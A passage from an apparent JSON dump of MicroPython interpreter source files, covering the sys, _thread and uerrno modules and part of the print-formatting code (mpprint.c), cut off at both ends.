MP_OBJ_TO_PTR(args[1]); // XXX may fail\n    }\n\n    mp_print_t print = {stream_obj, mp_stream_write_adaptor};\n    mp_obj_print_exception(&print, args[0]);\n    #else\n    (void)n_args;\n    mp_obj_print_exception(&mp_plat_print, args[0]);\n    #endif\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_sys_print_exception_obj, 1, 2, mp_sys_print_exception);\n\n#if MICROPY_PY_SYS_EXC_INFO\nSTATIC mp_obj_t mp_sys_exc_info(void) {\n    mp_obj_t cur_exc = MP_OBJ_FROM_PTR(MP_STATE_VM(cur_exception));\n    mp_obj_tuple_t *t = MP_OBJ_TO_PTR(mp_obj_new_tuple(3, NULL));\n\n    if (cur_exc == MP_OBJ_NULL) {\n        t->items[0] = mp_const_none;\n        t->items[1] = mp_const_none;\n        t->items[2] = mp_const_none;\n        return MP_OBJ_FROM_PTR(t);\n    }\n\n    t->items[0] = MP_OBJ_FROM_PTR(mp_obj_get_type(cur_exc));\n    t->items[1] = cur_exc;\n    t->items[2] = mp_const_none;\n    return MP_OBJ_FROM_PTR(t);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mp_sys_exc_info_obj, mp_sys_exc_info);\n#endif\n\nSTATIC mp_obj_t mp_sys_getsizeof(mp_obj_t obj) {\n    return mp_unary_op(MP_UNARY_OP_SIZEOF, obj);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_sys_getsizeof_obj, mp_sys_getsizeof);\n\nSTATIC const mp_rom_map_elem_t mp_module_sys_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_sys) },\n\n    { MP_ROM_QSTR(MP_QSTR_version), MP_ROM_PTR(&version_obj) },\n    { MP_ROM_QSTR(MP_QSTR_version_info), MP_ROM_PTR(&mp_sys_version_info_obj) },\n    { MP_ROM_QSTR(MP_QSTR_implementation), MP_ROM_PTR(&mp_sys_implementation_obj) },\n    #ifdef MICROPY_PY_SYS_PLATFORM\n    { MP_ROM_QSTR(MP_QSTR_platform), MP_ROM_PTR(&platform_obj) },\n    #endif\n    /// \\constant byteorder - the byte order of the system (\"little\" or \"big\")\n    #if MP_ENDIANNESS_LITTLE\n    { MP_ROM_QSTR(MP_QSTR_byteorder), MP_ROM_QSTR(MP_QSTR_little) },\n    #else\n    { MP_ROM_QSTR(MP_QSTR_byteorder), MP_ROM_QSTR(MP_QSTR_big) },\n    #endif\n\n    #if MICROPY_PY_SYS_MAXSIZE\n    #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_NONE\n    // Maximum mp_int_t value is not representable as small int, so we have\n    // little choice but to use MP_SMALL_INT_MAX. Apps also should be careful\n    // to not try to compare sys.maxsize to some literal number (as this\n    // number might not fit in available int size), but instead count number\n    // of \"one\" bits in sys.maxsize.\n    { MP_ROM_QSTR(MP_QSTR_maxsize), MP_ROM_INT(MP_SMALL_INT_MAX) },\n    #else\n    { MP_ROM_QSTR(MP_QSTR_maxsize), MP_ROM_PTR(&mp_maxsize_obj) },\n    #endif\n    #endif\n\n    #if MICROPY_PY_SYS_EXIT\n    // documented per-port\n    { MP_ROM_QSTR(MP_QSTR_exit), MP_ROM_PTR(&mp_sys_exit_obj) },\n    #endif\n\n    #if MICROPY_PY_SYS_STDFILES\n    // documented per-port\n    { MP_ROM_QSTR(MP_QSTR_stdin), MP_ROM_PTR(&mp_sys_stdin_obj) },\n    { MP_ROM_QSTR(MP_QSTR_stdout), MP_ROM_PTR(&mp_sys_stdout_obj) },\n    { MP_ROM_QSTR(MP_QSTR_stderr), MP_ROM_PTR(&mp_sys_stderr_obj) },\n    #endif\n\n    #if MICROPY_PY_SYS_MODULES\n    { MP_ROM_QSTR(MP_QSTR_modules), MP_ROM_PTR(&MP_STATE_VM(mp_loaded_modules_dict)) },\n    #endif\n    #if MICROPY_PY_SYS_EXC_INFO\n    { MP_ROM_QSTR(MP_QSTR_exc_info), MP_ROM_PTR(&mp_sys_exc_info_obj) },\n    #endif\n    #if MICROPY_PY_SYS_GETSIZEOF\n    { MP_ROM_QSTR(MP_QSTR_getsizeof), MP_ROM_PTR(&mp_sys_getsizeof_obj) },\n    #endif\n\n    /*\n     * Extensions to CPython\n     */\n\n    { MP_ROM_QSTR(MP_QSTR_print_exception), MP_ROM_PTR(&mp_sys_print_exception_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_sys_globals, mp_module_sys_globals_table);\n\nconst mp_obj_module_t mp_module_sys = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_sys_globals,\n};\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/modthread.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George on behalf of Pycom Ltd\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"py/runtime.h\"\n#include \"py/stackctrl.h\"\n\n#if MICROPY_PY_THREAD\n\n#include \"py/mpthread.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_PRINT (0)\n#define DEBUG_printf(...) (void)0\n#endif\n\n/****************************************************************/\n// Lock object\n\nSTATIC const mp_obj_type_t mp_type_thread_lock;\n\ntypedef struct _mp_obj_thread_lock_t {\n    mp_obj_base_t base;\n    mp_thread_mutex_t mutex;\n    volatile bool locked;\n} mp_obj_thread_lock_t;\n\nSTATIC mp_obj_thread_lock_t *mp_obj_new_thread_lock(void) {\n    mp_obj_thread_lock_t *self = m_new_obj(mp_obj_thread_lock_t);\n    self->base.type = &mp_type_thread_lock;\n    mp_thread_mutex_init(&self->mutex);\n    self->locked = false;\n    return self;\n}\n\nSTATIC mp_obj_t thread_lock_acquire(size_t n_args, const mp_obj_t *args) {\n    mp_obj_thread_lock_t *self = MP_OBJ_TO_PTR(args[0]);\n    bool wait = true;\n    if (n_args > 1) {\n        wait = mp_obj_get_int(args[1]);\n        // TODO support timeout arg\n    }\n    MP_THREAD_GIL_EXIT();\n    int ret = mp_thread_mutex_lock(&self->mutex, wait);\n    MP_THREAD_GIL_ENTER();\n    if (ret == 0) {\n        return mp_const_false;\n    } else if (ret == 1) {\n        self->locked = true;\n        return mp_const_true;\n    } else {\n        mp_raise_OSError(-ret);\n    }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(thread_lock_acquire_obj, 1, 3, thread_lock_acquire);\n\nSTATIC mp_obj_t thread_lock_release(mp_obj_t self_in) {\n    mp_obj_thread_lock_t *self = MP_OBJ_TO_PTR(self_in);\n    if (!self->locked) {\n        mp_raise_msg(&mp_type_RuntimeError, NULL);\n    }\n    self->locked = false;\n    MP_THREAD_GIL_EXIT();\n    mp_thread_mutex_unlock(&self->mutex);\n    MP_THREAD_GIL_ENTER();\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(thread_lock_release_obj, thread_lock_release);\n\nSTATIC mp_obj_t thread_lock_locked(mp_obj_t self_in) {\n    mp_obj_thread_lock_t *self = MP_OBJ_TO_PTR(self_in);\n    return mp_obj_new_bool(self->locked);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(thread_lock_locked_obj, thread_lock_locked);\n\nSTATIC mp_obj_t thread_lock___exit__(size_t n_args, const mp_obj_t *args) {\n    (void)n_args; // unused\n    return thread_lock_release(args[0]);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(thread_lock___exit___obj, 4, 4, thread_lock___exit__);\n\nSTATIC const mp_rom_map_elem_t thread_lock_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_acquire), MP_ROM_PTR(&thread_lock_acquire_obj) },\n    { MP_ROM_QSTR(MP_QSTR_release), MP_ROM_PTR(&thread_lock_release_obj) },\n    { MP_ROM_QSTR(MP_QSTR_locked), MP_ROM_PTR(&thread_lock_locked_obj) },\n    { MP_ROM_QSTR(MP_QSTR___enter__), MP_ROM_PTR(&thread_lock_acquire_obj) },\n    { MP_ROM_QSTR(MP_QSTR___exit__), MP_ROM_PTR(&thread_lock___exit___obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(thread_lock_locals_dict, thread_lock_locals_dict_table);\n\nSTATIC const mp_obj_type_t mp_type_thread_lock = {\n    { &mp_type_type },\n    .name = MP_QSTR_lock,\n    .locals_dict = (mp_obj_dict_t*)&thread_lock_locals_dict,\n};\n\n/****************************************************************/\n// _thread module\n\nSTATIC size_t thread_stack_size = 0;\n\nSTATIC mp_obj_t mod_thread_get_ident(void) {\n    return mp_obj_new_int_from_uint((uintptr_t)mp_thread_get_state());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_thread_get_ident_obj, mod_thread_get_ident);\n\nSTATIC mp_obj_t mod_thread_stack_size(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t ret = mp_obj_new_int_from_uint(thread_stack_size);\n    if (n_args == 0) {\n        thread_stack_size = 0;\n    } else {\n        thread_stack_size = mp_obj_get_int(args[0]);\n    }\n    return ret;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_thread_stack_size_obj, 0, 1, mod_thread_stack_size);\n\ntypedef struct _thread_entry_args_t {\n    mp_obj_dict_t *dict_locals;\n    mp_obj_dict_t *dict_globals;\n    size_t stack_size;\n    mp_obj_t fun;\n    size_t n_args;\n    size_t n_kw;\n    mp_obj_t args[];\n} thread_entry_args_t;\n\nSTATIC void *thread_entry(void *args_in) {\n    // Execution begins here for a new thread.  We do not have the GIL.\n\n    thread_entry_args_t *args = (thread_entry_args_t*)args_in;\n\n    mp_state_thread_t ts;\n    mp_thread_set_state(&ts);\n\n    mp_stack_set_top(&ts + 1); // need to include ts in root-pointer scan\n    mp_stack_set_limit(args->stack_size);\n\n    // set locals and globals from the calling context\n    mp_locals_set(args->dict_locals);\n    mp_globals_set(args->dict_globals);\n\n    MP_THREAD_GIL_ENTER();\n\n    // signal that we are set up and running\n    mp_thread_start();\n\n    // TODO set more thread-specific state here:\n    //  mp_pending_exception? (root pointer)\n    //  cur_exception (root pointer)\n\n    DEBUG_printf(\"[thread] start ts=%p args=%p stack=%p\\n\", &ts, &args, MP_STATE_THREAD(stack_top));\n\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        mp_call_function_n_kw(args->fun, args->n_args, args->n_kw, args->args);\n        nlr_pop();\n    } else {\n        // uncaught exception\n        // check for SystemExit\n        mp_obj_base_t *exc = (mp_obj_base_t*)nlr.ret_val;\n        if (mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(exc->type), MP_OBJ_FROM_PTR(&mp_type_SystemExit))) {\n            // swallow exception silently\n        } else {\n            // print exception out\n            mp_printf(&mp_plat_print, \"Unhandled exception in thread started by \");\n            mp_obj_print_helper(&mp_plat_print, args->fun, PRINT_REPR);\n            mp_printf(&mp_plat_print, \"\\n\");\n            mp_obj_print_exception(&mp_plat_print, MP_OBJ_FROM_PTR(exc));\n        }\n    }\n\n    DEBUG_printf(\"[thread] finish ts=%p\\n\", &ts);\n\n    // signal that we are finished\n    mp_thread_finish();\n\n    MP_THREAD_GIL_EXIT();\n\n    return NULL;\n}\n\nSTATIC mp_obj_t mod_thread_start_new_thread(size_t n_args, const mp_obj_t *args) {\n    // This structure holds the Python function and arguments for thread entry.\n    // We copy all arguments into this structure to keep ownership of them.\n    // We must be very careful about root pointers because this pointer may\n    // disappear from our address space before the thread is created.\n    thread_entry_args_t *th_args;\n\n    // get positional arguments\n    size_t pos_args_len;\n    mp_obj_t *pos_args_items;\n    mp_obj_get_array(args[1], &pos_args_len, &pos_args_items);\n\n    // check for keyword arguments\n    if (n_args == 2) {\n        // just position arguments\n        th_args = m_new_obj_var(thread_entry_args_t, mp_obj_t, pos_args_len);\n        th_args->n_kw = 0;\n    } else {\n        // positional and keyword arguments\n        if (mp_obj_get_type(args[2]) != &mp_type_dict) {\n            mp_raise_TypeError(\"expecting a dict for keyword args\");\n        }\n        mp_map_t *map = &((mp_obj_dict_t*)MP_OBJ_TO_PTR(args[2]))->map;\n        th_args = m_new_obj_var(thread_entry_args_t, mp_obj_t, pos_args_len + 2 * map->used);\n        th_args->n_kw = map->used;\n        // copy across the keyword arguments\n        for (size_t i = 0, n = pos_args_len; i < map->alloc; ++i) {\n            if (MP_MAP_SLOT_IS_FILLED(map, i)) {\n                th_args->args[n++] = map->table[i].key;\n                th_args->args[n++] = map->table[i].value;\n            }\n        }\n    }\n\n    // copy agross the positional arguments\n    th_args->n_args = pos_args_len;\n    memcpy(th_args->args, pos_args_items, pos_args_len * sizeof(mp_obj_t));\n\n    // pass our locals and globals into the new thread\n    th_args->dict_locals = mp_locals_get();\n    th_args->dict_globals = mp_globals_get();\n\n    // set the stack size to use\n    th_args->stack_size = thread_stack_size;\n\n    // set the function for thread entry\n    th_args->fun = args[0];\n\n    // spawn the thread!\n    mp_thread_create(thread_entry, th_args, &th_args->stack_size);\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_thread_start_new_thread_obj, 2, 3, mod_thread_start_new_thread);\n\nSTATIC mp_obj_t mod_thread_exit(void) {\n    nlr_raise(mp_obj_new_exception(&mp_type_SystemExit));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_thread_exit_obj, mod_thread_exit);\n\nSTATIC mp_obj_t mod_thread_allocate_lock(void) {\n    return MP_OBJ_FROM_PTR(mp_obj_new_thread_lock());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_thread_allocate_lock_obj, mod_thread_allocate_lock);\n\nSTATIC const mp_rom_map_elem_t mp_module_thread_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR__thread) },\n    { MP_ROM_QSTR(MP_QSTR_LockType), MP_ROM_PTR(&mp_type_thread_lock) },\n    { MP_ROM_QSTR(MP_QSTR_get_ident), MP_ROM_PTR(&mod_thread_get_ident_obj) },\n    { MP_ROM_QSTR(MP_QSTR_stack_size), MP_ROM_PTR(&mod_thread_stack_size_obj) },\n    { MP_ROM_QSTR(MP_QSTR_start_new_thread), MP_ROM_PTR(&mod_thread_start_new_thread_obj) },\n    { MP_ROM_QSTR(MP_QSTR_exit), MP_ROM_PTR(&mod_thread_exit_obj) },\n    { MP_ROM_QSTR(MP_QSTR_allocate_lock), MP_ROM_PTR(&mod_thread_allocate_lock_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_thread_globals, mp_module_thread_globals_table);\n\nconst mp_obj_module_t mp_module_thread = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_thread_globals,\n};\n\n#endif // MICROPY_PY_THREAD\n"
  },
  {
    "path": "micropython/source/py/moduerrno.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n#include <string.h>\n\n#include \"py/obj.h\"\n#include \"py/mperrno.h\"\n\n#if MICROPY_PY_UERRNO\n\n// This list can be defined per port in mpconfigport.h to tailor it to a\n// specific port's needs.  If it's not defined then we provide a default.\n#ifndef MICROPY_PY_UERRNO_LIST\n#define MICROPY_PY_UERRNO_LIST \\\n    X(EPERM) \\\n    X(ENOENT) \\\n    X(EIO) \\\n    X(EBADF) \\\n    X(EAGAIN) \\\n    X(ENOMEM) \\\n    X(EACCES) \\\n    X(EEXIST) \\\n    X(ENODEV) \\\n    X(EISDIR) \\\n    X(EINVAL) \\\n    X(EOPNOTSUPP) \\\n    X(EADDRINUSE) \\\n    X(ECONNABORTED) \\\n    X(ECONNRESET) \\\n    X(ENOBUFS) \\\n    X(ENOTCONN) \\\n    X(ETIMEDOUT) \\\n    X(ECONNREFUSED) \\\n    X(EHOSTUNREACH) \\\n    X(EALREADY) \\\n    X(EINPROGRESS) \\\n\n#endif\n\n#if MICROPY_PY_UERRNO_ERRORCODE\nSTATIC const mp_rom_map_elem_t errorcode_table[] = {\n    #define X(e) { MP_ROM_INT(MP_ ## e), MP_ROM_QSTR(MP_QSTR_## e) },\n    MICROPY_PY_UERRNO_LIST\n    #undef X\n};\n\nSTATIC const mp_obj_dict_t errorcode_dict = {\n    .base = {&mp_type_dict},\n    .map = {\n        .all_keys_are_qstrs = 0, // keys are integers\n        .is_fixed = 1,\n        .is_ordered = 1,\n        .used = MP_ARRAY_SIZE(errorcode_table),\n        .alloc = MP_ARRAY_SIZE(errorcode_table),\n        .table = (mp_map_elem_t*)(mp_rom_map_elem_t*)errorcode_table,\n    },\n};\n#endif\n\nSTATIC const mp_rom_map_elem_t mp_module_uerrno_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_uerrno) },\n    #if MICROPY_PY_UERRNO_ERRORCODE\n    { MP_ROM_QSTR(MP_QSTR_errorcode), MP_ROM_PTR(&errorcode_dict) },\n    #endif\n\n    #define X(e) { MP_ROM_QSTR(MP_QSTR_## e), MP_ROM_INT(MP_ ## e) },\n    MICROPY_PY_UERRNO_LIST\n    #undef X\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_uerrno_globals, mp_module_uerrno_globals_table);\n\nconst mp_obj_module_t mp_module_uerrno = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_uerrno_globals,\n};\n\nqstr mp_errno_to_str(mp_obj_t errno_val) {\n    #if MICROPY_PY_UERRNO_ERRORCODE\n    // We have the errorcode dict so can do a lookup using the hash map\n    mp_map_elem_t *elem = mp_map_lookup((mp_map_t*)&errorcode_dict.map, errno_val, MP_MAP_LOOKUP);\n    if (elem == NULL) {\n        return MP_QSTR_NULL;\n    } else {\n        return MP_OBJ_QSTR_VALUE(elem->value);\n    }\n    #else\n    // We don't have the errorcode dict so do a simple search in the modules dict\n    for (size_t i = 0; i < MP_ARRAY_SIZE(mp_module_uerrno_globals_table); ++i) {\n        if (errno_val == mp_module_uerrno_globals_table[i].value) {\n            return MP_OBJ_QSTR_VALUE(mp_module_uerrno_globals_table[i].key);\n        }\n    }\n    return MP_QSTR_NULL;\n    #endif\n}\n\n#endif //MICROPY_PY_UERRNO\n"
  },
  {
    "path": "micropython/source/py/mpprint.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n#include <stdarg.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"py/mphal.h\"\n#include \"py/mpprint.h\"\n#include \"py/obj.h\"\n#include \"py/objint.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#include \"py/formatfloat.h\"\n#endif\n\nstatic const char pad_spaces[] = \"                \";\nstatic const char pad_zeroes[] = \"0000000000000000\";\n\nSTATIC void plat_print_strn(void *env, const char *str, size_t len) {\n    (void)env;\n    MP_PLAT_PRINT_STRN(str, len);\n}\n\nconst mp_print_t mp_plat_print = {NULL, plat_print_strn};\n\nint mp_print_str(const mp_print_t *print, const char *str) {\n    size_t len = strlen(str);\n    if (len) {\n        print->print_strn(print->data, str, len);\n    }\n    return len;\n}\n\nint mp_print_strn(const mp_print_t *print, const char *str, size_t len, int flags, char fill, int width) {\n    int left_pad = 0;\n    int right_pad = 0;\n    int pad = width - len;\n    int pad_size;\n    int total_chars_printed = 0;\n    const char *pad_chars;\n\n    if (!fill || fill == ' ') {\n        pad_chars = pad_spaces;\n        pad_size = sizeof(pad_spaces) - 1;\n    } else if (fill == '0') {\n        pad_chars = pad_zeroes;\n        pad_size = sizeof(pad_zeroes) - 1;\n    } else {\n        // Other pad characters are fairly unusual, so we'll take the hit\n        // and output them 1 at a time.\n        pad_chars = &fill;\n        pad_size = 1;\n    }\n\n    if (flags & PF_FLAG_CENTER_ADJUST) {\n        left_pad = pad / 2;\n        right_pad = pad - left_pad;\n    } else if (flags & PF_FLAG_LEFT_ADJUST) {\n        right_pad = pad;\n    } else {\n        left_pad = pad;\n    }\n\n    if (left_pad > 0) {\n        total_chars_printed += left_pad;\n        while (left_pad > 0) {\n            int p = left_pad;\n            if (p > pad_size) {\n                p = pad_size;\n            }\n            print->print_strn(print->data, pad_chars, p);\n            left_pad -= p;\n        }\n    }\n    if (len) {\n        print->print_strn(print->data, str, len);\n        total_chars_printed += len;\n    }\n    if (right_pad > 0) {\n        total_chars_printed += right_pad;\n        while (right_pad > 0) {\n            int p = right_pad;\n            if (p > pad_size) {\n                p = pad_size;\n            }\n            print->print_strn(print->data, pad_chars, p);\n            right_pad -= p;\n        }\n    }\n    return total_chars_printed;\n}\n\n// 32-bits is 10 digits, add 3 for commas, 1 for sign, 1 for terminating null\n// We can use 16 characters for 32-bit and 32 characters for 64-bit\n#define INT_BUF_SIZE (sizeof(mp_int_t) * 4)\n\n// Our mp_vprintf function below does not support the '#' format modifier to\n// print the prefix of a non-base-10 number, so we don't need code for this.\n#define SUPPORT_INT_BASE_PREFIX (0)\n\n// This function is used exclusively by mp_vprintf to format ints.\n// It needs to be a separate function to mp_print_mp_int, since converting to a mp_int looses the MSB.\nSTATIC int mp_print_int(const mp_print_t *print, mp_uint_t x, int sgn, int base, int base_char, int flags, char fill, int width) {\n    char sign = 0;\n    if (sgn) {\n        if ((mp_int_t)x < 0) {\n            sign = '-';\n            x = -x;\n        } else if (flags & PF_FLAG_SHOW_SIGN) {\n            sign = '+';\n        } else if (flags & PF_FLAG_SPACE_SIGN) {\n            sign = ' ';\n        }\n    }\n\n    char buf[INT_BUF_SIZE];\n    char *b = buf + INT_BUF_SIZE;\n\n    if (x == 0) {\n        *(--b) = '0';\n    } else {\n        do {\n            int c = x % base;\n            x /= base;\n            if (c >= 10) {\n                c += base_char - 10;\n            } else {\n                c += '0';\n            }\n            *(--b) = c;\n        } while (b > buf && x != 0);\n    }\n\n    #if SUPPORT_INT_BASE_PREFIX\n    char prefix_char = '\\0';\n\n    if (flags & PF_FLAG_SHOW_PREFIX) {\n        if (base == 2) {\n            prefix_char = base_char + 'b' - 'a';\n        } else if (base == 8) {\n            prefix_char = base_char + 'o' - 'a';\n        } else if (base == 16) {\n            prefix_char = base_char + 'x' - 'a';\n        }\n    }\n    #endif\n\n    int len = 0;\n    if (flags & PF_FLAG_PAD_AFTER_SIGN) {\n        if (sign) {\n            len += mp_print_strn(print, &sign, 1, flags, fill, 1);\n            width--;\n        }\n        #if SUPPORT_INT_BASE_PREFIX\n        if (prefix_char) {\n            len += mp_print_strn(print, \"0\", 1, flags, fill, 1);\n            len += mp_print_strn(print, &prefix_char, 1, flags, fill, 1);\n            width -= 2;\n        }\n        #endif\n    } else {\n        #if SUPPORT_INT_BASE_PREFIX\n        if (prefix_char && b > &buf[1]) {\n            *(--b) = prefix_char;\n            *(--b) = '0';\n        }\n        #endif\n        if (sign && b > buf) {\n            *(--b) = sign;\n        }\n    }\n\n    len += mp_print_strn(print, b, buf + INT_BUF_SIZE - b, flags, fill, width);\n    return len;\n}\n\nint mp_print_mp_int(const mp_print_t *print, mp_obj_t x, int base, int base_char, int flags, char fill, int width, int prec) {\n    // These are the only values for \"base\" that are required to be supported by this\n    // function, since Python only allows the user to format integers in these bases.\n    // If needed this function could be generalised to handle other values.\n    assert(base == 2 || base == 8 || base == 10 || base == 16);\n\n    if (!MP_OBJ_IS_INT(x)) {\n        // This will convert booleans to int, or raise an error for\n        // non-integer types.\n        x = MP_OBJ_NEW_SMALL_INT(mp_obj_get_int(x));\n    }\n\n    if ((flags & (PF_FLAG_LEFT_ADJUST | PF_FLAG_CENTER_ADJUST)) == 0 && fill == '0') {\n        if (prec > width) {\n            width = prec;\n        }\n        prec = 0;\n    }\n    char prefix_buf[4];\n    char *prefix = prefix_buf;\n\n    if (mp_obj_int_sign(x) >= 0) {\n        if (flags & PF_FLAG_SHOW_SIGN) {\n            *prefix++ = '+';\n        } else if (flags & PF_FLAG_SPACE_SIGN) {\n            *prefix++ = ' ';\n        }\n    }\n\n    if (flags & PF_FLAG_SHOW_PREFIX) {\n        if (base == 2) {\n            *prefix++ = '0';\n            *prefix++ = base_char + 'b' - 'a';\n        } else if (base == 8) {\n            *prefix++ = '0';\n            if (flags & PF_FLAG_SHOW_OCTAL_LETTER) {\n                *prefix++ = base_char + 'o' - 'a';\n            }\n        } else if (base == 16) {\n            *prefix++ = '0';\n            *prefix++ = base_char + 'x' - 'a';\n        }\n    }\n    *prefix = '\\0';\n    int prefix_len = prefix - prefix_buf;\n    prefix = prefix_buf;\n\n    char comma = '\\0';\n    if (flags & PF_FLAG_SHOW_COMMA) {\n        comma = ',';\n    }\n\n    // The size of this buffer is rather arbitrary. If it's not large\n    // enough, a dynamic one will be allocated.\n    char stack_buf[sizeof(mp_int_t) * 4];\n    char *buf = stack_buf;\n    size_t buf_size = sizeof(stack_buf);\n    size_t fmt_size = 0;\n    char *str;\n\n    if (prec > 1) {\n        flags |= PF_FLAG_PAD_AFTER_SIGN;\n    }\n    char sign = '\\0';\n    if (flags & PF_FLAG_PAD_AFTER_SIGN) {\n        // We add the pad in this function, so since the pad goes after\n        // the sign & prefix, we format without a prefix\n        str = mp_obj_int_formatted(&buf, &buf_size, &fmt_size,\n                                   x, base, NULL, base_char, comma);\n        if (*str == '-') {\n            sign = *str++;\n            fmt_size--;\n        }\n    } else {\n        str = mp_obj_int_formatted(&buf, &buf_size, &fmt_size,\n                                   x, base, prefix, base_char, comma);\n    }\n\n    int spaces_before = 0;\n    int spaces_after = 0;\n\n    if (prec > 1) {\n        // If prec was specified, then prec specifies the width to zero-pad the\n        // the number to. This zero-padded number then gets left or right\n        // aligned in width characters.\n\n        int prec_width = fmt_size;  // The digits\n        if (prec_width < prec) {\n            prec_width = prec;\n        }\n        if (flags & PF_FLAG_PAD_AFTER_SIGN) {\n            if (sign) {\n                prec_width++;\n            }\n            prec_width += prefix_len;\n        }\n        if (prec_width < width) {\n            if (flags & PF_FLAG_LEFT_ADJUST) {\n                spaces_after = width - prec_width;\n            } else {\n                spaces_before = width - prec_width;\n            }\n        }\n        fill = '0';\n        flags &= ~PF_FLAG_LEFT_ADJUST;\n    }\n\n    int len = 0;\n    if (spaces_before) {\n        len += mp_print_strn(print, \"\", 0, 0, ' ', spaces_before);\n    }\n    if (flags & 